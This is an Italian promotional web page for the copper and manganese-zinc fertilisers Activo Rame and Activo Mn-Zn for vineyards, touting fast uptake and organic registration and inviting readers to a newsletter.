L’utilizzo di Activo Rame e Activo Mn-Zn rende le piante forti e vigorose, rapidamente. Le piante sane e forti sono anche veloci nella loro risposta agli stress abiotici e biotici.
Inoltre grazie alla ricca composizione aminoacidica, i prodotti sono rapidamente assorbiti dalle piante e gli ioni metallici bioattivi sono resi disponibili subito e a lungo.
Sopratutto per il BIO ma anche per il convenzionale i migliori partner che la vite possa avere in queste condizione difficili si chiamano Activo Rame e Activo Mn-Zn, a disposizione delle aziende da oltre 10 anni e in uso so oltre 100.000 ettari.
I nostri concimi sono registrati per uso BIO, lavorano sulla pianta, indipendentemente da piogge o dagli altri parametri. Activo Rame e Activo Mn-Zn stimolano la pianta, che diventa rapidamente forte e vigorosa. Qui trovi la scheda tecnica e qui invece qualche dettaglio in più su Activo Rame. Se invece ti interessa di più Activo Mn-Zn, qui puoi trovare maggiori informazioni e qui la sua scheda tecnica.
oppure chiedi informazioni ai nostri tecnici, sono sempre a disposizione!
Se queste informazioni ti sono sembrate interessanti, non perdere gli aggiornamenti sull’andamento stagionale, iscriviti alla nostra newsletter, è gratis! Riceverai bollettini fitosanitari e agrometeo aggiornati durante la stagione, ricevi l’informazione che ha salvato molte produzioni negli anni passati!
Potrebbe interessarti anche